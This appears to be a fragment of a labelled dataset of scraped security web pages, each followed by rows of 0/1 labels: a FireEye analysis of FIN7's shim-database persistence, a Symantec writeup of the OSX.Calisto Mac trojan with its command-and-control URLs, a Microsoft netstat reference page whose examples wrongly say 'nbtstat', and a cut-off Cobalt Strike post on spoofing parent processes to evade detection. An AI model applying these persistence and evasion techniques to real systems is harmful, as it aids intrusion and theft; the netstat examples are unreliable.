top","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence | FireEye Inc Search Search FireEye.com Go Solutions Enterprise Security Helix Security Platform Verodin Security Instrumentation Network Security and Forensics Endpoint Security Email Security FireEye Expertise Expertise On Demand Managed Defense Threat Intelligence Security For: Cloud Financial Services Government Healthcare Industrial Control Systems VIEW ALL SOLUTIONS Services Breach Response Incident Response Incident Response Retainer Compromise Assessment Security Assessment Red Team Assessments Penetration Testing Security Program Assessment Response Readiness Assessment Active Directory Security Assessment Tabletop Exercise ICS Healthcheck Security Enhancement Education and Training ThreatSpace Cyber Range Security Transformation Cyber Defense Center Development VIEW ALL SERVICES Partners FireEye Partners FireEye Fuel Resellers Technology Partners Cyber Risk Partners Global Service Providers and MSSPs Partner Resources Partner Enablement Partner Portal Partner Education Center Partner Locator Partnering with FireEye Partnering with FireEye Become a Partner Partner Certifications and Accreditations Support Get Support Contact Support Customer Portal Support Programs Find Answers Communities Supported Products Support Notices Documentation Documentation Portal Resources Intelligence Briefing and Bulletins Annual Threat Reports Threat Intelligence Reports Threat Intelligence Reports by Industry Advanced Persistent Threat Groups Cyber Security What is Cyber Security? One Security Platform No. 1 Attack Vector \xe2\x80\x93 Email One Trusted Advisor for Expertise The Vision \xe2\x80\x93 Digital Magazine FireEye Blogs Read the FireEye Blogs Free Tools & Apps Free Software Downloads FireEye Market Training Education and Training VIEW ALL RESOURCES Company About Us Why FireEye? Awards and Honors Leadership Board of Directors Investor Relations Customers Customer Success Customer Stories Careers Job Opportunities University Relations News and Events Newsroom Press Releases Webinars Events Contact Contact FireEye To give you the best possible experience, this site uses cookies.\xc2 Find out more on how we use cookies.Accept Home FireEye Blogs Threat Research To SDB, Or Not To SDB: FIN7 Leveraging Shim Databa... Threat Research To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence May 03, 2017 | by Matthew McWhirt, Jon Erickson, DJ Palombo Cyber Crime CARBANAK FLARE Financial Services FIN7 In 2017, Mandiant responded to multiple incidents we attribute to FIN7, a financially motivated threat group associated with malicious operations dating back to 2015. Throughout the various environments, FIN7 leveraged the CARBANAK backdoor, which this group has used in previous operations. A unique aspect of the incidents was how the group installed the CARBANAK backdoor for persistent access. Mandiant identified that the group leveraged an application shim database to achieve persistence on systems in multiple environments. The shim injected a malicious in-memory patch into the Services Control Manager (\xe2\x80\x9cservices.exe\xe2\x80\x9d) process, and then spawned a CARBANAK backdoor process. Mandiant identified that FIN7 also used this technique to install a payment card harvesting utility for persistent access. This was a departure from FIN7\xe2\x80\x99s previous approach of installing a malicious Windows service for process injection and persistent access. Application Compatibility Shims Background According to Microsoft, an application compatibility shim is a small library that transparently intercepts an API (via hooking), changes the parameters passed, handles the operation itself, or redirects the operation elsewhere, such as additional code stored on a system.\xc2 Today, shims are mainly used for compatibility purposes for legacy applications. While shims serve a legitimate purpose, they can also be used in a malicious manner. Mandiant consultants previously discussed shim databases at both BruCon and BlackHat. Shim Database Registration There are multiple ways to register a shim database on a system. One technique is to use the built-in \xe2\x80\x9csdbinst.exe\xe2\x80\x9d command line tool. Figure 1 displays the two registry keys created when a shim is registered with the \xe2\x80\x9csdbinst.exe\xe2\x80\x9d utility. Figure 1: Shim database registry keys Once a shim database has been registered on a system, the shim database file (\xe2\x80\x9c.sdb\xe2\x80\x9d file extension) will be copied to the \xe2\x80\x9cC:\\Windows\\AppPatch\\Custom\xe2\x80\x9d directory for 32-bit shims or \xe2\x80\x9cC:\\Windows\\AppPatch\\Custom\\Custom64\xe2\x80\x9d directory for 64-bit shims. Malicious Shim Database Installation To install and register the malicious shim database on a system, FIN7 used a custom Base64 encoded PowerShell script, which ran the \xe2\x80\x9csdbinst.exe\xe2\x80\x9d utility to register a custom shim database file containing a patch onto a system. Figure 2 provides a decoded excerpt from a recovered FIN7 PowerShell script showing the parameters for this command. Figure 2: Excerpt from a FIN7 PowerShell script to install a custom shim FIN7 used various naming conventions for the shim database files that were installed and registered on systems with the \xe2\x80\x9csdbinst.exe\xe2\x80\x9d utility. A common observance was the creation of a shim database file with a \xe2\x80\x9c.tmp\xe2\x80\x9d file extension (Figure 3). Figure 3: Malicious shim database example Upon registering the custom shim database on a system, a file named with a random GUID and an \xe2\x80\x9c.sdb\xe2\x80\x9d extension was written to the 64-bit shim database default directory, as shown in Figure 4. The registered shim database file had the same MD5 hash as the file that was initially created in the \xe2\x80\x9cC:\\Windows\\Temp\xe2\x80\x9d directory. Figure 4: Shim database after registration In addition, specific registry keys were created that correlated to the shim database registration.\xc2 Figure 5 shows the keys and values related to this shim installation. Figure 5: Shim database registry keys The database description used for the shim database registration, \xe2\x80\x9cMicrosoft KB2832077\xe2\x80\x9d was interesting because this KB number was not a published Microsoft Knowledge Base patch. This description (shown in Figure 6) appeared in the listing of installed programs within the Windows Control Panel on the compromised system. Figure 6: Shim database as an installed application Malicious Shim Database Details During the investigations, Mandiant observed that FIN7 used a custom shim database to patch both the 32-bit and 64-bit versions of \xe2\x80\x9cservices.exe\xe2\x80\x9d with their CARBANAK payload. This occurred when the \xe2\x80\x9cservices.exe\xe2\x80\x9d process executed at startup. The shim database file contained shellcode for a first stage loader that obtained an additional shellcode payload stored in a registry key. The second stage shellcode launched the CARBANAK DLL (stored in a registry key), which spawned an instance of Service Host (\xe2\x80\x9csvchost.exe\xe2\x80\x9d) and injected itself into that process. \xc2 Figure 7 shows a parsed shim database file that was leveraged by FIN7. Figure 7: Parsed shim database file For the first stage loader, the patch overwrote the \xe2\x80\x9cScRegisterTCPEndpoint\xe2\x80\x9d function at relative virtual address (RVA) \xe2\x80\x9c0x0001407c\xe2\x80\x9d within the services.exe process with the malicious shellcode from the shim database file.\xc2 The new \xe2\x80\x9cScRegisterTCPEndpoint\xe2\x80\x9d function (shellcode) contained a reference to the path of \xe2\x80\x9c\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\DRM\xe2\x80\x9d, which is a registry location where additional malicious shellcode and the CARBANAK DLL payload was stored on the system. Figure 8 provides an excerpt of the parsed patch structure within the recovered shim database file. Figure 8: Parsed patch structure from the shim database file The shellcode stored within the registry path \xe2\x80\x9cHKLM\\SOFTWARE\\Microsoft\\DRM\xe2\x80\x9d used the API function \xe2\x80\x9cRtlDecompressBuffer\xe2\x80\x9d to decompress the payload. It then slept for four minutes before calling the CARBANAK DLL payload's entry point on the system. Once loaded in memory, it created a new process named \xe2\x80\x9csvchost.exe\xe2\x80\x9d that contained the CARBANAK DLL.\xc2 Bringing it Together Figure 9 provides a high-level overview of a shim database being leveraged as a persistent mechanism for utilizing an in-memory patch, injecting shellcode into the 64-bit version of \xe2\x80\x9cservices.exe\xe2\x80\x9d. Figure 9: Shim database code injection process Detection Mandiant recommends the following to detect malicious application shimming in an environment: Monitor for new shim database files created in the default shim database directories of \xe2\x80\x9cC:\\Windows\\AppPatch\\Custom\xe2\x80\x9d and \xe2\x80\x9cC:\\Windows\\AppPatch\\Custom\\Custom64\xe2\x80\x9d Monitor for registry key creation and/or modification events for the keys of \xe2\x80\x9cHKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Custom\xe2\x80\x9d and \xe2\x80\x9cHKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\InstalledSDB\xe2\x80\x9d Monitor process execution events and command line arguments for malicious use of the \xe2\x80\x9csdbinst.exe\xe2\x80\x9d utility\xc2 Previous Post Next Post Promotion Recent Share Subscribe RSS Recent Posts 07 Sep 2019 Open Sourcing StringSifter 05 Sep 2019 Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment 03 Sep 2019 SharPersist: Windows Persistence Toolkit in C# Share Email Updates Information and insight on today's advanced threats from FireEye. RSS Feed: Stay Connected Company Why FireEye? Customer Stories Careers Certifications and Compliance Investor Relations Supplier Documents News and Events Newsroom Press Releases Webinars Events Awards and Honors Email Preferences Technical Support Incident? Report Security Issue Contact Support Customer Portal Communities Documentation Portal FireEye Blogs Threat Research Solutions and Services Executive Perspectives Threat Map View the Latest Threats Contact Us +1 877-347-3393 \xc2 Stay Connected LinkedIn Twitter Facebook YouTube Podcast Copyright\xc2 \xc2\xa9\xc2 2019\xc2 FireEye, Inc.\xc2 All rights reserved.\xc2 Privacy & Cookies Policy | Privacy Shield | Legal Documentation Site Language English My preferred language: English (English) French (Fran\xc3\xa7ais) German (Deutsch) Japanese (\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e) Korean (\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4) More languages","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"OSX.Calisto | Symantec Search ENTERPRISE ENTERPRISE \xc2 \xc2 250+ BUSINESS \xc2 \xc2 1-250 PARTNERNET \xc2 \xc2 Sign In Required Products & Services Products & Services Home Products A-Z Integrated Cyber Defense Integrated Cyber Defense Advanced Threat Protection Advanced Threat Protection Information Protection Information Protection Endpoint Security Endpoint Security Email Security Email Security Web & Network Security Web & Network Security Cloud App Security Cloud App Security Services Services Business Security Business Security OTHER BRANDS Norton LifeLock ID Analytics DigiCert Website Security Norton LifeLock ID Analytics DigiCert Website Security Integrated Cyber Defense Integrated Cyber Defense Core Services Advanced Threat Protection Information Protection Control Points Endpoint Security Email Security Web & Network Security Cloud App Security The cloud is full of risk. Your security posture shouldn't be. Our Integrated Cyber Defense Platform lets you focus on your priorities \xc3\xa2\xe2\x82\xac\xe2\x80\x9d digital transformations, supply chain security, cloud migration, you name it \xc3\xa2\xe2\x82\xac\xe2\x80\x9d knowing you are protected from end to end Learn More Advanced Threat Protection Advanced Threat Protection Endpoint Protection Family Endpoint Detection and Response (EDR) Messaging Security Family Email Threat Detection and Response Hybrid Cloud Security Family Encrypted Traffic Management Family Secure Web Gateway Family Content & Malware Analysis Network Forensics & Security Analytics Web Isolation WebFilter / Intelligence Services Web Application Firewall & Reverse Proxy 11 Times Running*, Gartner Magic Quadrant Leader for Secure Web Gateways Read the Report Information Protection Information Protection DLP Family Data Loss Prevention Data Loss Prevention Cloud & Symantec CloudSOC Data Loss Prevention Cloud Service for Email Information Centric Security Family Information Centric Analytics Information Centric Tagging Information Centric Encryption Identity Family VIP Enterprise VIP Consumer Encryption Family Endpoint Encryption Desktop Email Encryption File Share Encryption Accelerate Your GDPR Readiness with The GDPR for Dummies guide Read the Guide Endpoint Security Endpoint Security Endpoint Protection Family Endpoint Protection Endpoint Protection Mobile Endpoint Detection and Response (EDR) Endpoint Threat Defense for Active Directory Endpoint Security Suites IOT Family Hybrid Cloud Security Family Storage Protection Cloud Workload Protection Data Center Security Endpoint Management Family Client Management Suite Server Management Suite Asset Management Suite Ghost Solution Suite A Leader once again in 2019 Gartner Magic Quadrant for Endpoint Protection Platforms Read the Report Email Security Email Security Messaging Security Family Email Security.cloud Messaging Gateway Email Threat Detection and Response Phishing Readiness Mail Security for Microsoft Exchange DLP Family Data Loss Prevention Cloud Service for Email Encryption Family Desktop Email Encryption Gateway Email Encryption Symantec named a Leader in The Forrester Wave\xc3\xa2\xe2\x80\x9e\xc2\xa2: Enterprise Email Security, Q2 2019 Read the Report Email is still the #1 attack vector\xc3\xa2\xe2\x82\xac\xe2\x80\x9dand it\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s your job to secure Office 365. Now What? View the Checklist Web & Network Security Web & Network Security Secure Web Gateway Family Web Security Service Secure Access Cloud Web Isolation ProxySG and Advanced Secure Gateway Content & Malware Analysis WebFilter / Intelligence Services Web Application Firewall & Reverse Proxy Management Center and Reporting Encrypted Traffic Management Family SSL Visibility Appliance Network Performance Optimization Family MACH5 PacketShaper Cloud Access Security Broker (CASB) Family DLP Family Identity Family 11 Times Running*, Gartner Magic Quadrant Leader for Secure Web Gateways Read the Report Cloud App Security Cloud App Security Cloud Access Security Broker (CASB) Family CloudSOC Audit \xc3\xa2\xe2\x82\xac\xe2\x80\x9c Shadow IT CloudSOC CASB Gateway CloudSOC CASB for SaaS CloudSOC CASB for IaaS Hybrid Cloud Security Family Cloud Workload Protection Control Compliance Suite Storage Protection Secure Web Gateway Family Web Security Service Secure Access Cloud Web Isolation Malware Analysis Service Trusted Mobile Device Security Service Web Application Firewall & Reverse Proxy DLP Family Data Loss Prevention Cloud and Symantec CloudSOC Data Loss Prevention Cloud Service for Email Email Security Family Email Security.cloud Email Threat Detection and Response Identity Family VIP Security without compromise: the broadest, deepest protection for the public cloud Learn More Services Services Cyber Security Services Managed Security Services - Threat Monitoring DeepSight Intelligence Technical Intelligence Adversary Intelligence Incident Response Services Emergency Response Retainers and Response Readiness Managed Endpoint Detection and Response Service Other Services Consulting Services Education Services Premium Support Find Out Why Symantec is a Gartner MQ Leader 15 years running Read the Report Business Security Business Security Products Endpoint Protection Cloud Endpoint Protection Cloud Server Drive Encryption Endpoint Protection Small Business Edition Pricing Learn My Account Shop Online Welcome to the New Symantec Business Security Experience! Shopping for the right business products and managing your account is now easier than ever. Shop Now Solutions Solutions Home Topics Topics Industries Industries Government Government Cloud Cloud Topics Topics Advanced Threat Protection Cloud Security Election Security GDPR & Data Privacy Internet of Things (IoT) Security Office 365 Security Secure Access Zero Trust Security Symantec Internet of Things (IOT) Security Unveiling the industry\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s first neural network to protect critical infrastructure from cyber warfare Learn More Email is still the #1 attack vector\xc3\xa2\xe2\x82\xac\xe2\x80\x9dand it\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s your job to secure Office 365. Now What? View the Checklist Industry Solutions Industry Solutions Automotive Education Financial Services Global Service Providers Industrial Control Systems Healthcare Retail Cyber Security and Healthcare: An Evolving Understanding of Risk An ISTR Executive Healthcare Summary for Healthcare Professionals Read the Summary Government Solutions Government Solutions Federal Government State & Local Election Security 2018 Democracy is impossible without cyber security The good news? It\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s not too late to take basic steps to preserve the integrity of our elections\xc3\xa2\xe2\x82\xac\xe2\x80\x9dright now Learn More Cloud Solutions Cloud Solutions Amazon Web Services Oracle Cloud AWS Security Best Practices Guide and Configuration Checklist Symantec has worked together with AWS to develop an essential guide to AWS security Download Now Support Center Support Center Home Technical Support Technical Support Symantec Connect Symantec Connect Manage Your Product Manage Your Product Training Training Norton Support Technical Support Technical Support Product A-Z MySymantec Licensing Portal Symantec Earns TSIA Global Rated Outstanding, Assisted & Self Service Support Certification Learn More Symantec Connect Forums Blogs User Groups How to Find a Symantec Product Forum This two-step guide helps you find product support and information in the Connect user community Read the Guide Manage Your Product Maintenance Licensing Information Getting Started Renewals Software Upgrades Policies Connect User Community A peer-to-peer community for Symantec business customers, partners, and employees Join the Conversation Training Training Courses Certification E-Library Security Awareness Service Symantec Certification Validate your investment in training and experience, and boost your credibility today Learn More Security Center Security Center Home Updates Updates Advisories Advisories Publications Publications Tools Tools Topics Topics Updates Updates Virus Definitions & Updates Threats Risks Vulnerabilities 2019 Internet Security Threat Report Formjacking. Targeted Attacks. Living off the Land. Coming for Your Business. Read the Report Cloud Security Threat Report (CSTR) Adapting to the new reality of evolving cloud threats. Read the Report Advisories Advisories Symantec Security Advisories Analysis from Symantec\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s Global Threat Intelligence Team Unparalleled understanding and commentary on the cyber threats affecting businesses today Stay Informed Publications Publications ISTR CSTR Blogs Monthly Threat Report Endpoint Protection Mobile Threat Reports Security White Papers Research Labs 2019 Internet Security Threat Report Formjacking. Targeted Attacks. Living off the Land. Coming for Your Business. Read the Report Cloud Security Threat Report (CSTR) Adapting to the new reality of evolving cloud threats. \xc3\x82\xc2 Read the Report Tools Tools Removal Tools Spyware Removal Treating Infected Systems Legitimate Files in Quarantine Symantec Cyber Security Brief Podcast Cyber Security news and analysis by Symantec threat researchers Listen and Subscribe Topics Topics Ransomware Cyber Criminals Ramp Up Attacks on Trusted Software and Supply Chains Learn about this year\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s Internet Security Threat Report from Symantec Read the Blog Blogs Blogs Home Blogs Blogs Categories Categories Threat Intelligence Featured Stories Expert Perspectives Product Insights Corporate Responsibility Diversity & Inclusion Symantec Connect Cyber Criminals Ramp Up Attacks on Trusted Software and Supply Chains Learn about this year\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s Internet Security Threat Report from Symantec Read the Blog Partner Partners Home Partner with Symantec Partner with Symantec PartnerNet PartnerNet TIPP TIPP Partner with Symantec Partner with Symantec Find a Partner Become a Partner Product Resources for Partners Sign in to PartnerNet Sign in to TIPP Contact Partner Service Contact Partner Service with questions about partnering opportunities and your existing business with Symantec Learn More PartnerNet PartnerNet My Dashboard Products Marketing Partner Support Center Training Other Resources Financial Benefits Partner Licensing Partner Renewal Infrastructure Attacks and Stealthy Mining\xc3\xa2\xe2\x82\xac\xe2\x80\x9dThreats Go Big and Small Read the Report TIPP TIPP My Dashboard Marketing TIPP Support Center Infrastructure Attacks and Stealthy Mining\xc3\xa2\xe2\x82\xac\xe2\x80\x9dThreats Go Big and Small Read the Report United States / English Sign In/Register Hi My Account Log out Security Center / OSX.Calisto OSX.Calisto Printer Friendly Page Summary Technical Description Removal Discovered: July 30, 2018 Updated: July 30, 2018 2:44:38 PM Type: Trojan Infection Length: Varies Publisher: Nevaeh Peterson Systems Affected: Mac OSX.Calisto is a Trojan horse that opens a backdoor on the compromised computer. Antivirus Protection Dates Initial Rapid Release version July 30, 2018 revision 007 Latest Rapid Release version June 10, 2019 revision 006 Initial Daily Certified version July 30, 2018 revision 008 Latest Daily Certified version June 10, 2019 revision 021 Initial Weekly Certified release date August 01, 2018 Click here for a more detailed description of Rapid Release and Daily Certified virus definitions. Technical Description Once executed, the Trojan creates the following folder: /Users/[USER NAME]/calisto The Trojan creates the following files: /Users/[USER NAME]/calisto/calisto.zip /Users/[USER NAME]/calisto/cred.dat /Users/[USER NAME]/calisto/network.dat /Users/[USER NAME]/calisto/KC.zip Next, the Trojan uninstalls the DMG component on the compromised computer. The Trojan then establishes remote access to the compromised computer in order to perform the following actions: Enable remote login Enable screen sharing Add permissions Add remote login to all users Add its own account The Trojan connects to the following remote locations: http://40.[REMOVED].56.192/calisto/listenyee.php http://40.[REMOVED].56.192/calisto/upload.php The Trojan then opens a backdoor on the compromised computer and may perform the following actions: Upload files Download files Execute files Steal keychains Steal cookies Recommendations Symantec Security Response encourages all users and administrators to adhere to the following basic security ""best practices"": Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world. Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised. Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application. Disable AutoPlay to prevent the automatic launching of executable files on network and removable drives, and disconnect the drives when not required. If write access is not required, enable read-only mode if the option is available. Turn off file sharing if not needed. If file sharing is required, use ACLs and password protection to limit access. Disable anonymous access to shared folders. Grant access only to user accounts with strong passwords to folders that must be shared. Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have less avenues of attack. If a threat exploits one or more network services, disable, or block access to, those services until a patch is applied. Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services. Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files. Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media. Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched. If Bluetooth is not required for mobile devices, it should be turned off. If you require its use, ensure that the device's visibility is set to ""Hidden"" so that it cannot be scanned by other Bluetooth devices. If device pairing must be used, ensure that all devices are set to ""Unauthorized"", requiring authorization for each connection request. Do not accept applications that are unsigned or sent from unknown sources. For further information on the terms used in this document, please refer to the Security Response glossary. Removal The following instructions pertain to all current and recent Symantec antivirus products for Mac. Update the virus definitions. Run a full system scan and repair or delete all the files detected. For specific details on each of these steps, read the following instructions. 1. To update the virus definitions To obtain the most recent virus definitions run LiveUpdate: These virus definitions are posted to the LiveUpdate servers regularly. To determine whether definitions for this threat are available by LiveUpdate, refer to the Virus Definitions (LiveUpdate) . 2. To scan for and delete the infected files Start your Norton AntiVirus or Symantec Endpoint Protection for Mac program and make sure that it is configured to scan all files. Run a full system scan. If any files are detected, click Repair (if available) or Delete. Writeup By: Jason Pantig Information for Enterprise Business Partners Consumer (Norton) Our Offerings Products Products A-Z Services Solutions Buying Programs Connect with us Support Connect Communities Security Center Find a Partner Events Webcasts Contact Us About Symantec Blogs Customer Success Center Industry Accolades Newsroom Analyst Relations Careers Investor Relations Corporate Responsibility Privacy \xc3\xa2\xe2\x82\xac\xe2\x80\x9c GDPR Customer Assurance Portal Symantec Ventures CustomerOne Acquisitions Fireglass ID Analytics LifeLock Luminate Skycure \xc2\xa9 1995\xe2\x80\x932019 Symantec Corporation About Symantec Careers News Sitemap Legal Privacy Cookies Contact Us \xc3\xa2\xc5\x93\xe2\x80\xa2","1","0","0","1","0","1","1","1","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Netstat | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Netstat 09/11/2009 3 minutes to read In this article Displays active TCP connections, ports on which the computer is listening, Ethernet statistics, the IP routing table, IPv4 statistics (for the IP, ICMP, TCP, and UDP protocols), and IPv6 statistics (for the IPv6, ICMPv6, TCP over IPv6, and UDP over IPv6 protocols). Used without parameters, netstat displays active TCP connections. Syntax netstat [-a] [-e] [-n] [-o] [-p Protocol] [-r] [-s] [Interval] Parameters -a : Displays all active TCP connections and the TCP and UDP ports on which the computer is listening. -e : Displays Ethernet statistics, such as the number of bytes and packets sent and received. This parameter can be combined with -s. -n : Displays active TCP connections, however, addresses and port numbers are expressed numerically and no attempt is made to determine names. -o : Displays active TCP connections and includes the process ID (PID) for each connection. You can find the application based on the PID on the Processes tab in Windows Task Manager. This parameter can be combined with -a, -n, and -p. -p Protocol : Shows connections for the protocol specified by Protocol. In this case, the Protocol can be tcp, udp, tcpv6, or udpv6. If this parameter is used with -s to display statistics by protocol, Protocol can be tcp, udp, icmp, ip, tcpv6, udpv6, icmpv6, or ipv6. -s : Displays statistics by protocol. By default, statistics are shown for the TCP, UDP, ICMP, and IP protocols. If the IPv6 protocol for Windows XP is installed, statistics are shown for the TCP over IPv6, UDP over IPv6, ICMPv6, and IPv6 protocols. The -p parameter can be used to specify a set of protocols. -r : Displays the contents of the IP routing table. This is equivalent to the route print command. Interval : Redisplays the selected information every Interval seconds. Press CTRL+C to stop the redisplay. If this parameter is omitted, netstat prints the selected information only once. /? : Displays help at the command prompt. Remarks Parameters used with this command must be prefixed with a hyphen (-) rather than a slash (/). Netstat provides statistics for the following: Proto The name of the protocol (TCP or UDP). Local Address The IP address of the local computer and the port number being used. The name of the local computer that corresponds to the IP address and the name of the port is shown unless the -n parameter is specified. If the port is not yet established, the port number is shown as an asterisk (*). Foreign Address The IP address and port number of the remote computer to which the socket is connected. The names that corresponds to the IP address and the port are shown unless the -n parameter is specified. If the port is not yet established, the port number is shown as an asterisk (*). (state) Indicates the state of a TCP connection. The possible states are as follows: CLOSE_WAIT CLOSED ESTABLISHED FIN_WAIT_1 FIN_WAIT_2 LAST_ACK LISTEN SYN_RECEIVED SYN_SEND TIMED_WAIT For more information about the states of a TCP connection, see RFC 793. This command is available only if the Internet Protocol (TCP/IP) protocol is installed as a component in the properties of a network adapter in Network Connections Examples To display both the Ethernet statistics and the statistics for all protocols, type the following command: netstat -e -s To display the statistics for only the TCP and UDP protocols, type the following command: netstat -s -p tcp udp To display active TCP connections and the process IDs every 5 seconds, type the following command: nbtstat -o 5 To display active TCP connections and the process IDs using numerical form, type the following command: nbtstat -n -o Formatting legend Format Meaning Italic Information that the user must supply Bold Elements that the user must type exactly as shown Ellipsis (...) Parameter that can be repeated several times in a command line Between brackets ([]) Optional items Between braces ({}); choices separated by pipe (|). Example: {even|odd} Set of choices from which the user must choose only one Courier font Code or program output Command-line reference A-Z Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Cobalt Strike 3.8 \xe2\x80\x93 Who\xe2\x80\x99s Your Daddy? | Strategic Cyber LLC Strategic Cyber LLC A blog about Armitage, Cobalt Strike, and Red Teaming \xc2\xab Java Startup Bug in Java\xc2 1.8u131 OPSEC Considerations for Beacon\xc2 Commands \xc2\xbb Cobalt Strike 3.8 \xe2\x80\x93 Who\xe2\x80\x99s Your\xc2 Daddy? May 23, 2017 Cobalt Strike 3.8 is now available. This release adds features to spawn processes with an alternate parent process. This release also gives the operator control over the script templates Cobalt Strike uses in its attacks and workflows. Processes with Alternate Parents A favorite hunt technique is to instrument a host to report all new processes, their arguments, and the parent process. Hunt operators (and automated solutions) separate the noise from the interesting by looking for odd parent/child process relationships. This release of Cobalt Strike pushes back on this technique with the ppid command. The PPID command tasks Beacon to launch cmd.exe, powershell.exe, and other processes with an alternate parent. This feature takes advantage of an API, introduced with Windows Vista, to enable consent.exe to launch elevated processes with the non-elevated requester as the parent. This opens a lot of possibilities. For example, if I\xe2\x80\x99m in a user context, I might set explorer.exe as my parent with something plausible (e.g, iexplore.exe) for my temporary processes. If I\xe2\x80\x99m in a SYSTEM context, I might use services.exe as my parent process and ask Beacon to use svchost.exe for its temporary processes. To benefit from the ppid command, your session must have rights to access the parent process. I also recommend that you specify a parent process that exists in the same desktop session. If you don\xe2\x80\x99t, random commands and workflows may fail. Another way to hop Desktop Sessions It\xe2\x80\x99s possible, with a few extra steps, to run commands under\xc2 a parent that lives in another desktop session. Programs run this way will take on the rights and identity of their parent. Beacon\xe2\x80\x99s runu command runs an arbitrary command as a child of another parent. This command takes the necessary extra steps to do this across session boundaries. The spawnu command builds on this primitive to spawn a session with powershell.exe. These commands offer means to spawn a payload, in another desktop session, without remote process injection. As detection of remote process injection becomes more common, it\xe2\x80\x99s important to have other ways to achieve our goals without this offensive technique. The 